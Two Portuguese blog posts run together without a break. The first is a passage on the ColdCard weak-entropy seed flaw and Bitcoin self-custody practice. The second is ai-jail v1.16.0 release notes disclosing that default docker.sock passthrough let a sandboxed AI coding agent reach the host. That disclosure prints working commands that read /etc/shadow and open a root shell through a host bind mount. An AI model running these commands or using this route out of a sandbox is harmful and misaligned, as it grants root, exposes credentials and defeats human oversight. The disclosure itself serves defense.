Depois da divulgação, pesquisadores reproduziram a falha com ajuda de modelos de fronteira. Ótimo. Isso mostra que IA acelera auditoria e exploração depois que alguém aponta onde cavar. Não significa que uma IA quebrou ECDSA, secp256k1, SHA-256, BIP39 ou Bitcoin.

O atacante enumerou um espaço de chaves que um fabricante reduziu de pelo menos 128 bits pra algo na casa de 40. É força bruta contra números previsíveis. O protocolo Bitcoin fez exatamente o que deveria: aceitou assinaturas válidas produzidas pelas chaves privadas corretas.

IA não quebrou Bitcoin. A Coinkite deixou uma regressão básica sem teste no coração do firmware por cinco anos. Jogar a culpa na ferramenta que talvez tenha ajudado alguém a ler o código é uma maneira conveniente de mudar de assunto.

O que uma wallet realmente guarda

Bitcoin não fica “dentro” da ColdCard, da Ledger ou do arquivo do Sparrow. A blockchain contém UTXOs bloqueados por scripts. Sua wallet guarda o material necessário pra encontrar esses UTXOs e produzir assinaturas que satisfazem os scripts.

Na forma mais básica, uma chave privada é um inteiro escolhido dentro do domínio da curva secp256k1. A chave pública é um ponto calculado a partir dela. Esse caminho é fácil de computar pra frente e inviável de reverter com a computação conhecida. Endereços são representações derivadas de chaves públicas e scripts, não cofres onde moedas moram.

Já expliquei essa base com mais calma em [Akitando #67] Entendendo Conceitos Básicos de Criptografia - Parte 1 e [Akitando #68] Entendendo Conceitos Básicos de Criptografia - Parte 2.

Uma wallet moderna não sorteia uma chave independente pra cada endereço. Ela começa com uma raiz e usa BIP32 pra derivar deterministicamente uma árvore de chaves: contas, endereços de recebimento, troco e assim por diante. Backup da raiz recupera a árvore inteira.

O BIP39 é a camada que transforma entropia binária em palavras legíveis e depois converte mnemonic mais passphrase numa seed binária de 512 bits usada pelo BIP32. As palavras são uma forma humana de transportar aleatoriedade gerada por computador. A especificação avisa explicitamente que não é um método pra inventar uma frase bonita da própria cabeça.

Doze ou 24 palavras é a pergunta errada

Uma mnemonic de 12 palavras codifica 128 bits de entropia mais 4 bits de checksum. Uma de 24 codifica 256 bits mais 8 de checksum. Em condições normais, 128 bits já estão fora do alcance de força bruta.

Mas “24 palavras” não garante que existiram 256 bits reais na entrada. O firmware vulnerável podia produzir uma sequência perfeitamente válida de 24 palavras, checksum correto e tudo, a partir de um espaço efetivo de aproximadamente 40 bits. O atacante não precisa experimentar todas as combinações de palavras. Ele reproduz os estados plausíveis do RNG defeituoso e compara os endereços derivados.

É por isso que a briga 12 contra 24 fica ao lado do ponto. Comprimento da representação não salva fonte previsível. Um UUID impresso em letras douradas continua previsível se alguém chamou rand() com um timestamp.

RNG, TRNG e fontes independentes

RNG é o nome genérico do gerador de números aleatórios. Um PRNG pega um estado inicial, a seed, e expande aquilo numa sequência determinística. Um CSPRNG bem construído continua seguro desde que o estado inicial tenha entropia suficiente e o algoritmo não vaze o estado.

TRNG tenta colher aleatoriedade de fenômenos físicos: ruído eletrônico, jitter de oscilador e coisas do tipo. A Ledger explica seu processo como um TRNG dentro do Secure Element gerando 256 bits, que o BIP39 traduz nas 24 palavras. A empresa diz que esse gerador é testado por laboratório externo e certificado segundo AIS-31. Isso é bem melhor que timer mais serial number, mas continua sendo uma fonte e uma implementação em que você deposita confiança.

Outros projetos preferem combinar fontes. A Trezor usa entropia do aparelho e do host. A BitBox02 documenta cinco fontes: TRNG do secure chip, TRNG do microcontrolador, valor individual instalado na fábrica, entropia fornecida pelo host e hash do password do aparelho.

A palavra que interessa aqui é independência. Dois PRNGs inicializados pelo mesmo relógio não são duas fontes. Dois valores que saem do mesmo secure element também não compram a independência que o diagrama sugere. Fontes independentes, combinadas por uma construção criptográfica correta, fazem o resultado continuar forte mesmo quando algumas falham.

E “combinadas corretamente” carrega metade da segurança da frase. XOR, hash e extractors têm propriedades específicas. Não invente um mixer próprio em meia hora e coloque patrimônio em cima. Use uma implementação revisada, com test vectors, e verifique que o binário executado realmente chama aquele código. Acho que a razão ficou óbvia.

Jogar dados não é tão simples

Cada jogada de um D6 ideal entrega log2(6), cerca de 2,585 bits. Por isso aparecem os números 50 jogadas pra 128 bits e 99 jogadas pra aproximadamente 256 bits. A documentação da ColdCard mostra a conta e o SHA-256 aplicado à sequência. O SeedSigner usa os mesmos patamares: 50 pra 12 palavras ou 99 pra 24.

Essa conta presume dado justo e jogadas independentes. Um dado promocional de plástico barato pode ter bolhas, faces mal cortadas e centro de massa deslocado. Sua mão também pode repetir movimento, a bandeja pode favorecer uma posição e muita gente “rola de novo” quando o dado cai perto da borda. Cada decisão humana depois de olhar o resultado introduz viés.

Se eu fosse gerar uma seed manual hoje, usaria dados de precisão, do tipo usado em cassino, de mais de um fabricante ou lote. A própria BitBox recomenda cinco dados casino-grade no procedimento manual. Eu definiria antes a ordem de leitura, usaria uma bandeja que permita quicar e aceitaria toda jogada válida segundo uma regra escrita antes de começar. Nada de rerrolar porque “não misturou direito”.

Mesmo assim, eu não confiaria só nos dados. Misturaria fontes independentes: mais de um conjunto de dados, coin flips, entropia do host offline e um TRNG de hardware, quando o aparelho suporta. Fazer centenas de jogadas é barato. O cuidado é entregar tudo a um mecanismo auditado que faça a combinação criptográfica. Somar números, escolher as palavras “mais aleatórias” ou concatenar pedaços de mnemonics por conta própria é receita pra perder fundos.

Veja o que o seu aparelho realmente implementa. No setup novo documentado pela Ledger, o TRNG do Secure Element gera a entropia. No modo de restore, as palavras precisam reconstruir exatamente as mesmas chaves. O TRNG não pode jogar entropia secreta em cima da mnemonic importada, porque isso criaria outra wallet e destruiria a função de backup. Portanto, restaurar uma seed feita com dados transfere pro aparelho a custódia e a assinatura, mas não melhora a aleatoriedade original.

Com hardware wallet comercial, eu escolheria um destes caminhos: gerar uma raiz nova no fluxo oficial de um aparelho atualizado que documenta como combina fontes independentes; ou gerar BIP39 fora dele, num processo auditável e completamente offline, e inserir as palavras somente pela tela e pelos botões do signer. Seed criada em MetaMask, website ou notebook conectado e depois restaurada numa Ledger continua sendo hot seed. A própria Ledger resume bem: move, don’t merge.

O BTC D00M Guy tem um tutorial visual em português sobre BIP39, dados e teste de restauração. É uma boa introdução pra enxergar o processo, mas eu não copiaria literalmente o trecho do celular velho em modo avião pra guardar patrimônio sério. Modo avião não prova que o aparelho estava limpo, não remove fisicamente os rádios e formatar flash depois não me dá uma garantia verificável de apagamento. Pra aprender e ensaiar, tudo bem. Pra gerar a seed da poupança da vida, prefiro hardware sem rádio, sistema efêmero verificado ou signer dedicado.

As jogadas viram segredo assim que você decide usá-las. Não fotografe, não dite em voz alta, não guarde em nota do celular e não digite num site. A documentação do SeedSigner recomenda que qualquer verificação de uma seed real aconteça num sistema efêmero como Tails, completamente offline, abandonado depois do teste.

Mais entropia também não corrige processo ruim. Cem jogadas filmadas por uma câmera conectada à nuvem valem zero contra quem tem o vídeo.

Passphrase: outra wallet, não outra senha

No BIP39, a mnemonic é a entrada principal de PBKDF2-HMAC-SHA512. O salt é a string mnemonic concatenada com a passphrase, e a função roda 2.048 iterações. Toda passphrase produz uma wallet válida. Um caractere errado não mostra “senha incorreta”; abre outra wallet, normalmente vazia.

Uma passphrase longa, aleatória, única e independente pode proteger uma mnemonic exposta ou fraca. No caso ColdCard, ela acrescenta um segredo que não veio do RNG defeituoso: o atacante precisa combinar cada candidata à mnemonic com uma tentativa de passphrase. Se essa passphrase tiver entropia suficiente e nunca tiver vazado, o ataque pode voltar a ser inviável.

Mas citação, padrão humano ou senha reutilizada vira ataque de dicionário offline, sem rate limit. As 2.048 iterações do BIP39 não transformam uma passphrase fraca em forte. E perdê-la é tão definitivo quanto perder as palavras. PIN da hardware wallet não substitui passphrase. PIN protege o aparelho físico; passphrase participa da derivação das chaves.

Guarde a passphrase separada da mnemonic e teste uma restauração completa antes de depositar valor relevante. Registre também o fingerprint esperado e pelo menos um endereço. Na restauração, eles dizem se você entrou na wallet certa.

No caso ColdCard, não acrescente uma passphrase agora à seed vulnerável e chame isso de migração. Crie raiz nova. A passphrase pode fazer parte da nova arquitetura, mas os bitcoins precisam sair dos scripts derivados da raiz antiga.

Sparrow, air gap e PSBT

O Sparrow é o coordenador que uso. Ele conhece descriptors, xpubs, endereços, UTXOs e histórico. Pode montar uma transação, mas numa configuração watch-only não tem chave privada pra assinar.

É aí que entra o PSBT, padronizado no BIP174. O Sparrow cria uma Partially Signed Bitcoin Transaction com inputs, outputs, valores e dados de derivação necessários. O arquivo ou QR vai pro signer offline. O signer confere, adiciona sua assinatura e devolve o PSBT. Em multisig, o mesmo pacote passa pelos signers restantes até atingir o quorum. Sparrow combina, finaliza e transmite.

O fluxo single-sig air-gapped fica assim:

1. Sparrow monta a transação no computador online.
2. Você exporta o PSBT por QR ou microSD.
3. ColdCard, SeedSigner ou outro aparelho mostra destino, valor e fee.
4. Você confere na tela do signer e assina.
5. Sparrow importa o PSBT assinado, finaliza e transmite.

Air gap reduz a superfície de ataque. Não é campo de força. QR e microSD continuam transportando dados, firmware malicioso continua sendo firmware malicioso e um coordinator comprometido pode tentar trocar endereço de destino ou de troco. A tela do signer existe pra você comparar endereço, valor e fee antes de apertar Confirm.

E air gap não melhora entropia retroativamente. A ColdCard vulnerável podia passar a vida inteira sem cabo USB. A chave já nasceu fraca.

Multisig 2-de-3: mais seguro e muito mais burocrático

Single-sig concentra tudo numa seed, num backup e numa implementação. Dentro das opções acessíveis hoje, 2-de-3 multisig com signers realmente independentes é o mais perto de segurança máxima que conheço pra eliminar esse ponto único de falha.

Você cria três seeds independentes em signers de fabricantes e codebases diferentes. Sparrow monta uma policy que exige duas assinaturas. Um aparelho pode quebrar ou uma seed pode vazar sem entregar os fundos imediatamente. Dois signers continuam suficientes pra recuperar.

“Independentes” de novo é a palavra que faz o trabalho. Três hardware wallets alimentadas por três seeds filhas do mesmo BIP85 continuam penduradas numa raiz. Três seeds geradas pela mesma ColdCard vulnerável repetem o risco. Use processos e fontes de entropia separados. Eu misturaria, por exemplo, um signer comercial de outro fabricante, um SeedSigner com dados e um terceiro aparelho com arquitetura diferente.

No Sparrow, o procedimento conceitual é:

1. Crie e faça backup de cada seed separadamente.
2. Exporte de cada signer o fingerprint, derivation path e xpub.
3. Crie uma wallet Multi Signature, normalmente Native SegWit, com policy 2-de-3.
4. Importe os três keystores e faça backup do output descriptor da wallet.
5. Registre quais signers correspondem a quais fingerprints.
6. Confira um endereço de recebimento em mais de um signer.
7. Faça um depósito pequeno, restaure/teste os signers e execute uma retirada completa de ensaio.

O descriptor não permite gastar sozinho, mas revela todos os endereços e o histórico. É backup necessário pra reconstruir a policy e também dado sensível de privacidade. Guarde cópias em locais separados das seeds.

Na hora de gastar, Sparrow cria o PSBT; signer A assina; signer B assina; Sparrow combina e transmite. Cada pessoa ou aparelho deve revisar outputs. Multisig com operador que confirma tudo no automático só distribui o mesmo erro em três telas.

Nada disso é mistério pra mim. Mesmo assim, acho burocrático pra cacete: três seeds, três backups, output descriptor, locais separados, dois aparelhos em cada gasto, atualizações de firmware e um plano de recuperação que outra pessoa da família precisa conseguir executar quando você não estiver por perto.

Cada camada reduz um risco técnico e abre outra oportunidade pro operador errar. Usabilidade também faz parte da segurança. Se a arquitetura ficou tão chata que você para de testar os backups, deixa de atualizar os signers ou não consegue documentar a herança, o multisig perfeito do diagrama não vale grande coisa.

Eu entendo perfeitamente quem prefere continuar com single-sig e uma passphrase forte, independente e bem guardada. É muito mais fácil de operar. Só faça essa escolha sabendo que aceita um risco maior: você ainda depende de uma raiz e de um único caminho de assinatura. Se esse ponto cair, cai a wallet inteira. Passphrase adiciona uma barreira; não adiciona uma segunda assinatura independente.

O guia de boas práticas do Sparrow recomenda 2-de-3 com hardware wallets de fornecedores diferentes e backups em locais distintos.

Se uma das chaves do seu 2-de-3 veio de ColdCard afetada, o atacante potencialmente já controla essa chave e consegue produzir uma assinatura. Ainda não consegue gastar sozinho, mas seu limiar efetivo caiu: agora basta comprometer mais um signer. Crie uma wallet multisig nova com cosigner novo e mova os fundos. Não existe “trocar uma chave” mantendo os mesmos endereços; a policy mudou, portanto os scripts também mudam.

Fulcrum resolve privacidade, não chave fraca

Sparrow precisa consultar a blockchain. Num servidor Electrum público, ele pede o histórico dos script hashes derivados dos seus endereços. O servidor pode correlacionar consultas, horário e IP pra agrupar saldo e histórico, mesmo sem receber o xpub bruto. Pra evitar isso, conecto o Sparrow ao meu próprio Bitcoin Core por meio do Fulcrum.

Mostrei a arquitetura e a instalação em Bitcoin no Home Server: Soberania e Privacidade com ColdCard, Sparrow e Fulcrum. O artigo continua útil, com uma correção óbvia: não use uma seed gerada pelo firmware afetado da ColdCard.

Seu node valida a blockchain. Fulcrum indexa e responde rápido ao Sparrow. Isso melhora soberania e privacidade da consulta. Nenhum deles impede um atacante de assinar com uma private key que conseguiu reproduzir por causa de entropia ruim.

Como eu faria a migração hoje

Não transforme uma emergência num segundo acidente. Eu seguiria esta ordem:

1. Faça o inventário. Liste modelo, firmware que gerou a seed, contas, passphrases, derivation paths e multisigs onde aquela chave participa. Não publique saldo nem endereço em rede social.
2. Considere a seed comprometida. Não a digite em software online e não aceite “checker” de terceiros. Continue assinando no aparelho apenas pelo tempo necessário pra sair.
3. Escolha a arquitetura nova. Eu não geraria a nova seed numa ColdCard. Use outro signer novo, comprado diretamente do fabricante, um SeedSigner ou 2-de-3 com implementações diferentes. Não importe nele as palavras antigas. Se insistir em reutilizar a sua ColdCard, instale antes o firmware corrigido pro modelo e release track corretos.
4. Gere entropia nova. Use fontes independentes e um mixer auditado. Pra dados, use material casino-grade, várias fontes e pelo menos 99 jogadas pra uma mnemonic de 24 palavras. Eu faria mais.
5. Faça backup antes de receber. Mnemonic, passphrase separada, fingerprints e descriptor no caso de multisig. Nunca fotografe nem armazene em cloud.
6. Teste restauração. Recrie a wallet, confira fingerprint e endereços. Em multisig, prove que duas chaves conseguem assinar sem depender da terceira.
7. Verifique o endereço na tela. Não confie só no que Sparrow mostra no monitor do computador.
8. Mande um valor pequeno. Confirme que a wallet nova recebe e consegue gastar. A Coinkite também recomenda esse teste.
9. Mova o restante logo depois. Revise fee e todos os outputs. Procure saldo em outras contas, passphrases e endereços de troco derivados da seed velha.
10. Mantenha o backup antigo marcado como comprometido. Guarde até ter certeza de que a migração confirmou e de que nenhum depósito atrasado vai chegar. Nunca reutilize endereço antigo.

Se o ataque estiver correndo contra você, não passe uma semana desenhando o multisig perfeito. Gere um destino seguro e verificado, faça o teste mínimo e tire os fundos do alcance da chave velha. Depois você pode reorganizar UTXOs e melhorar a arquitetura com tempo.

Então qual hardware wallet eu recomendo?

Hoje, nenhuma.

Depois de explicar geração de entropia, BIP39, passphrase, PSBT, air gap, descriptors e multisig, deveria estar claro que self-custody completamente offline e feita à mão é muito difícil. Não espero que uma pessoa normal domine as implicações matemáticas, audite cada algoritmo e execute cada etapa sem errar. Nem a maioria dos programadores conseguiria. Eu também não vou fingir que consigo revisar sozinho toda a cadeia, do silício ao firmware que roda no aparelho.

É justamente por isso que hardware wallets existem. Elas empacotam criptografia e procedimentos complicados numa interface que uma pessoa consegue operar. Isso transfere parte da responsabilidade pro fabricante; não faz a confiança desaparecer.

Deixar a poupança da vida numa conta de exchange continua sendo o pior default. Você não tem as chaves, depende da solvência da empresa, da política de saque, do sistema jurídico e da segurança da conta. Mas um esquema artesanal que você não entende também pode terminar em perda total. Não adianta eliminar o risco de contraparte e substituí-lo por uma cerimônia impossível de restaurar depois de um incêndio ou da própria morte.

Durante anos, hardware wallet foi tratada como o último porto seguro entre esses extremos. A Coinkite abalou essa confiança na categoria inteira. Não quer dizer que Ledger, Trezor, BitBox, Passport, Jade, SeedSigner e todos os demais estejam quebrados ou sejam equivalentes. Quer dizer que nome forte, secure element, air gap, código visível e anos de mercado não bastam. Eu não consigo mais apontar pra um aparelho e dizer: “compre este e durma tranquilo”. Você vai ter que fazer sua lição de casa.

NUNCA compre hardware wallet de segunda mão. Compre nova, diretamente da loja oficial do fabricante. Não economize frete colocando a poupança da sua vida num aparelho que passou pela mão de um desconhecido. Marketplace, leilão, OLX, eBay, “open box”, recondicionado e aquela oferta imperdível de um amigo estão fora de questão.

Quando o pacote chegar, não rasgue tudo e saia apertando botão. Abra a documentação oficial do modelo e siga a verificação de supply chain. A ColdCard usa uma embalagem serializada que evidencia abertura: o número aparece na bolsa, numa aba interna e no próprio aparelho. A Trezor documenta os selos holográficos de cada modelo. A BitBox combina embalagem selada com attestation criptográfica feita pelo aplicativo.

Confira lacre, cortes, cola, número serial, conteúdo da caixa e o mecanismo de autenticidade exibido pelo aparelho ou software oficial. Qualquer divergência encerra o setup: não conecte a seed, não tente “ver se funciona” e fale com o fabricante. O aparelho precisa chegar sem wallet inicializada e deve gerar palavras novas na sua frente. Seed impressa dentro da caixa é golpe.

E cuidado com a linguagem: isso tudo é tamper-evident, não tamper-proof. A própria documentação da ColdCard admite que uma bolsa pode ser atacada; a BitBox diz que embalagem perfeita não garante autenticidade. Lacre intacto é uma camada. Ainda quero attestation ou genuine check, firmware assinado, verificação do hash quando disponível e teste completo com pouco dinheiro.

Eu começaria por estas perguntas:

1. Qual é o threat model publicado? O fabricante precisa dizer contra o que protege e, principalmente, o que fica fora do escopo: computador infectado, aparelho roubado, ataque físico com laboratório, supply chain, firmware direcionado, coerção. “Military-grade security” não é threat model.
2. De onde vem a entropia, exatamente? Procure as fontes, como elas são combinadas e que testes end-to-end provam que o fluxo New Wallet chega ao RNG prometido. Suporte a dados ou entropia externa é útil, mas só se o mecanismo de mistura for documentado e auditado. O caso ColdCard mostrou que ter o TRNG correto dentro do binário não significa que a geração da seed o utiliza.
3. O código é realmente livre e o binário corresponde a ele? “Source available” com licença restritiva não é FOSS. Código aberto permite auditoria, mas não prova que alguém auditou. Build reproduzível permite que terceiros reconstruam o firmware e comparem o resultado bit a bit. Procure verificações independentes e atuais no WalletScrutiny, não apenas a promessa do fabricante.
4. Como a empresa trata quem encontra falhas? Leia a política de disclosure, escopo e valores do bounty. Procure advisories antigos, CVEs, post-mortems e a conversa com pesquisadores. Empresa que publica a falha, explica a causa, corrige rápido e agradece ao pesquisador merece mais confiança que uma com histórico supostamente “perfeito”. Às vezes ninguém encontrou vulnerabilidade porque ninguém competente teve incentivo pra procurar.
5. O que a tela confiável permite verificar? Antes de assinar, o aparelho deve mostrar endereço, valor, fee e troco. Deve conferir endereço de recebimento no próprio display, permitir entrada de PIN e passphrase sem entregá-los ao computador e registrar corretamente a policy de multisig. Secure element protege chave; não salva uma interface que faz você assinar sem entender os outputs.
6. Existe uma rota de saída sem o fabricante? Eu quero padrões interoperáveis: BIP39/BIP32 quando aplicável, PSBT e output descriptors. Quero exportar xpub, fingerprint e descriptor, usar Sparrow, conectar meu node e recuperar em outra implementação. Conta obrigatória, cloud proprietária e backup que só abre no aplicativo da empresa são lock-in em cima da chave da sua vida.
7. Como funcionam hardware, firmware e supply chain? Secure element, microcontrolador comum e signer stateless fazem trocas diferentes. Descubra o que persiste no aparelho e o que um atacante físico consegue extrair. Releases devem ser assinadas, ter changelog útil, impedir downgrade inseguro e receber manutenção por anos. Pesquise como o aparelho verifica autenticidade, como documenta embalagem e transporte, o que acontece se o servidor de update desaparecer e quais componentes fechados existem. Air gap também não é selo mágico: QR, NFC e microSD são parsers de entrada e continuam sendo superfície de ataque.
8. Você consegue restaurar sem improviso? Antes de colocar valor relevante, gere a wallet, faça backup, apague o aparelho e recupere. Confira fingerprint, endereço e uma transação de ida e volta. Em multisig, restaure o descriptor e prove que o quorum funciona sem uma das chaves. Backup nunca testado é esperança, não backup.

Eu também pesquisaria o histórico do repositório, issues de segurança, commits recentes, auditorias independentes e tempo entre vulnerabilidade reportada e correção. Buscaria pelo nome do modelo junto com vulnerability, reproducible build, seed entropy, multisig e responsible disclosure. Review de influenciador com link de afiliado serve pra conhecer a tela e o tamanho do aparelho, não pra decidir onde guardar patrimônio.

Pra valores pequenos, um signer comercial bem pesquisado pode ser muito menos arriscado que uma invenção manual. Pra patrimônio que muda sua vida, 2-de-3 com fabricantes e codebases diferentes continua sendo a referência, como recomenda o guia do Sparrow. Isso limita o estrago de um fornecedor comprometido, mas cobra mais backups, mais testes e uma policy bem documentada. Multisig que você não consegue restaurar é pior que single-sig bem cuidada.

Em alguns serviços de custódia colaborativa, uma empresa segura uma das chaves de um 2-de-3. Ela não deveria conseguir gastar sozinha, mas passa a conhecer dados da sua wallet e pode desaparecer, negar serviço ou complicar uma recuperação. Custodiante profissional também troca risco técnico por risco jurídico e de contraparte. No fim, você escolhe qual risco aceita carregar e qual entrega a terceiros.

O melhor que consigo recomendar não é uma marca. Escolha uma arquitetura proporcional ao valor e descubra quais falhas ela tolera. Antes de colocar dinheiro que faria falta, rode o fluxo inteiro com pouco: receba, gaste, apague um signer, restaure o backup e veja se você consegue voltar sozinho.

Conclusão

Self-custody tira o custodiante do caminho, mas deixa uma responsabilidade brutal no lugar. A confiança continua espalhada por silício, firmware, compilador, processo de build, wallet coordinator e pela sua própria disciplina. Hardware wallet continua tendo utilidade porque fazer tudo na mão é impraticável pra quase todo mundo. O erro é confundir essa ferramenta com garantia.

Eu não recomendo hoje uma marca específica. Prefiro distribuir o risco e criar maneiras de pegar falhas: fontes independentes de entropia, código livre, builds reproduzíveis verificados por terceiros, restaurações ensaiadas, signers diferentes e multisig quando o valor justifica e você aceita a burocracia. Single-sig com passphrase é uma escolha compreensível. Só não oferece a mesma tolerância a falhas. Faça essa escolha sabendo o que está delegando e o risco que decidiu manter com você.

Este pode acabar sendo um dos piores episódios da história da autocustódia em Bitcoin. Não porque alguém deixou moedas numa exchange vagabunda, digitou a seed num site de phishing ou instalou wallet pirata. Muita gente comprou um aparelho dedicado, anotou 24 palavras, guardou o backup em aço, manteve tudo offline e assinou por air gap. Fez exatamente o que a cultura Bitcoin ensinava como o procedimento correto. Mesmo assim foi pega por um bug nojento no instante mais importante de todos: a escolha da raiz.

Nos casos mais graves, o RNG reduziu o universo pra algo na casa de 2^40. O atacante não precisa tocar na ColdCard. Ele enumera os estados possíveis, deriva as árvores BIP32 e os endereços mais prováveis, consulta a blockchain pública e encontra quais candidatos têm UTXOs. Quando encontra, também tem as private keys pra assinar. A ColdCard pode estar desligada, sem bateria, sem USB e dentro de um cofre. Não faz diferença. Air gap protege o caminho entre signer e computador; não recupera entropia que nunca existiu.

Não havia alerta visível. A wallet recebia, assinava e restaurava normalmente até o dia em que outra pessoa reproduziu a mesma chave. Por isso 12 contra 24 palavras, air gap contra USB e secure element contra microcontrolador viram discussões secundárias quando ninguém testou se o botão New Wallet chamava o RNG correto.

Também mostra por que não aceito chamar negligência de black swan. O source estava aberto, o caminho era auditável e a cultura afastava parte das pessoas mais capazes de apontar problemas. Foi um cisne branco esperando alguém olhar na direção certa.

A lição não é abandonar self-custody. É parar de terceirizar entendimento. Estude o threat model, procure como a entropia é gerada, confira o histórico do fabricante, ensaie recuperação e saiba quais riscos continuam concentrados. Não confie cegamente em empresa, certificação, influencer, tutorial ou artigo. Nem neste aqui. Verifique.

Eu já movi meus fundos da ColdCard antiga. Na prática, se você tem qualquer ColdCard, faça o mesmo. Não existe prêmio por descobrir tarde demais que seu caso também tinha uma exceção não documentada.

Escolha a nova arquitetura com os critérios acima. Gere uma raiz completamente nova. Misture entropia independente de verdade. Teste o backup. Confira os endereços. Mova tudo.

O report procedia, e a correção já está disponível na v1.16.0.

Atualize pra v1.16.0

Se você usa o ai-jail, o update é o de sempre:

# Arch Linux (AUR)
yay -Syu ai-jail-bin

# Homebrew (macOS / Linux)
brew update && brew upgrade ai-jail

# crates.io
cargo install ai-jail --force

# mise
mise cache clear && mise upgrade github:akitaonrails/ai-jail

O que mudou na v1.16.0

Até a v1.15.x, o ai-jail montava o socket do Docker dentro da jaula automaticamente, sempre que /var/run/docker.sock existia no host. Read-write. Sem aviso, sem flag, sem pedir opinião. Eu documentei isso no README como “favorece usabilidade”, e era verdade: agente de coding frequentemente precisa rodar um docker compose pra subir banco de testes, e o passthrough automático poupava configuração.

A partir da v1.16.0 o comportamento inverteu:

• O passthrough do socket ficou desligado por padrão. Só entra se você pedir explicitamente com a flag --docker ou com no_docker = false no .ai-jail.
• Quando você liga e existe um socket no host, o ai-jail imprime um aviso na largada deixando claro que aquilo equivale a dar root no host pro processo dentro da jaula.
• O ai-jail status agora mostra Docker como disabled (default), pra ninguém achar que ligou sem querer.
• Nos modos --lockdown e browser profile o socket nunca entra, como já era antes.

Mudança de comportamento, sim, e de propósito. Se o seu workflow depende de Docker dentro da jaula (o meu depende em alguns projetos), o opt-in é uma linha no .ai-jail do projeto:

no_docker = false

O nome do campo ficou feio (no_docker = false pra ligar, eu sei), mas configs antigas continuam parseando igual e o --no-docker / no_docker = true funcionam como antes. Só o default mudou. Os detalhes estão nas release notes da v1.16.0.

O que o issue #88 mostrou

O report do mdindoffer é daqueles que todo mantenedor quer receber: resumo preciso, repro em poucas linhas, proposta de correção. A essência:

O ai-jail montava o socket cru do Docker dentro da sandbox, read-write. O daemon do Docker roda como root no host. Logo, um agente dentro da jaula podia rodar isto:

docker run --rm -v /:/host alpine sh -c 'cat /host/etc/shadow'

E pronto. Leitura de qualquer arquivo do host, como root. Isso derrota de uma vez só o $HOME em tmpfs, o --mask, o --deny-path e o Landlock, porque a ação deixa de acontecer dentro da sandbox: acontece no daemon, que vive fora e acima de qualquer namespace que o bwrap criou. O agente nem precisa escapar da jaula quando a jaula tem uma porta que dá direto na sala de máquinas.

Em retrospecto, deixar isso ligado por padrão foi uma falha de design. Eu sabia que o passthrough era “perigoso” no abstrato, tanto que escrevi isso no README. O que eu não tinha internalizado: perigoso desse jeito, com esse default, já é vulnerabilidade.

O mdindoffer ainda propôs o caminho de hardening definitivo: em vez de montar o socket cru, interpor um proxy filtrado (estilo o wollomatic/socket-proxy) que só aceita bind mounts de caminhos que o agente já pode escrever dentro da jaula. Está no radar pra uma versão futura. Pra fechar o buraco agora, opt-in com aviso explícito resolve o default, que era onde o problema morava.

A classe de vulnerabilidade: docker.sock é root

Essa não é a primeira vez que eu esbarro nessa história, e aposto que também não é a sua. “Quem tem acesso ao socket do Docker tem root no host” é um dos clássicos da segurança de containers, documentado pela própria Docker na página de daemon attack surface: só usuários confiáveis devem controlar o daemon, porque o Docker permite compartilhar qualquer diretório do host com um container, sem restrição nenhuma de acesso.

O motivo técnico é simples. O dockerd é um daemon que roda como root e obedece comandos que chegam pela API no socket Unix /var/run/docker.sock. A CLI docker é só um cliente dessa API. Quando você pede docker run -v /:/host, quem cria o container e monta o filesystem inteiro do host dentro dele é o daemon, com privilégio total. E processo dentro de container roda como uid 0 por padrão, que o kernel enxerga como uid 0 de verdade (salvo user namespace remapping, que quase ninguém liga). A conta fecha: acesso de escrita no socket equivale a root no host. O grupo docker é sudo sem senha com outro nome.

A demonstração, na sua máquina

Se você tem Docker instalado e seu usuário no grupo docker, reproduz agora. Sem sudo, sem explorar bug nenhum:

# confirme que você é um usuário comum
$ id
uid=1000(akitaonrails) gid=1000(akitaonrails) groups=...,docker

# tente ler o /etc/shadow diretamente: negado, como esperado
$ cat /etc/shadow
cat: /etc/shadow: Permission denied

# agora peça pro daemon fazer isso por você
$ docker run --rm -v /:/host alpine sh -c 'head -3 /host/etc/shadow'
root:$6$...:...
bin:!:...
daemon:!:...

E se quiser o pacote completo, uma shell de root no seu próprio host:

$ docker run --rm -it -v /:/host alpine chroot /host /bin/bash
# id
uid=0(root) gid=0(root) groups=0(root)

Nenhum exploit, nenhum 0-day. Você usou a API oficial, do jeito documentado, e saiu de usuário comum pra root em um comando. Era exatamente isso que um agente dentro do ai-jail conseguia fazer até hoje, mesmo com todas as camadas (bwrap, Landlock, seccomp, rlimits) ligadas.

Por que isso ainda existe?

Se todo mundo sabe disso há mais de uma década, por que ninguém “consertou”? A resposta curta: isso é arquitetura, e arquitetura não se resolve com patch.

• O daemon root com API todo-poderosa foi o design que fez o Docker simples de operar. Autorização granular por requisição existe na forma de authorization plugins, mas é opt-in, chata de configurar, e eu conto nos dedos os setups que já vi usando.
• O userns-remap existe desde o Docker 1.10 e mapeia o root do container pra um usuário sem privilégio no host. Vem desligado de fábrica, porque quebra compatibilidade com imagens e volumes que assumem uid 0.
• O rootless mode roda o daemon inteiro como o seu usuário, com o socket em $XDG_RUNTIME_DIR/docker.sock. Funciona, mas tem restrições de rede e storage, e a internet inteira de tutoriais assume o daemon root no caminho clássico.
• O Podman nasceu rootless e sem daemon justamente por causa dessa crítica. Tem uma seção inteira sobre ele logo abaixo.

Resumindo: isso vai continuar existindo. Toda ferramenta que monta /var/run/docker.sock dentro de um ambiente “pra conveniência” abre o mesmo buraco, consciente ou não. CI que monta o socket pra build de imagem, IDE remota, code-server, sandbox de agente de IA (oi, eu), plugin de painel web. O ajuste fica sempre do lado de quem monta o ambiente.

Curiosidade: isso é tudo, menos novo

Se você me acompanha há algum tempo, essa história toda deve ter dado déjà vu. Em 2023 eu gravei o [Akitando #139] - Entendendo Como Containers Funcionam, onde eu explico o que um container realmente é: um processo comum do Linux, limitado por cgroups, enganado por namespaces, com as capabilities cortadas. Sem mágica e sem máquina virtual. E olha o que já estava na lista de links daquele episódio: um walkthrough de privilege escalation via Docker, demonstrando exatamente o truque do docker run -v /:/host. O buraco que o issue #88 explorou dentro do ai-jail é o mesmo que eu já apontava num video de 2023, e que já era manjado muito antes disso.

Ninguém sabe disso melhor que a Red Hat. O Podman nasceu lá em 2018 como resposta direta a essa arquitetura: sem daemon central, rootless por padrão. Cada container vira filho direto do seu usuário, via fork-exec, sem um processo todo-poderoso rodando como root intermediando nada. O “docker.sock é root” simplesmente não existe nesse modelo, porque não existe nem docker.sock, nem daemon, nem root.

E antes que você pergunte: sim, eu uso Podman em algumas coisas e recomendo. Mas ele também não é solução perfeita, e vale entender o porquê.

O que o Podman faz bem:

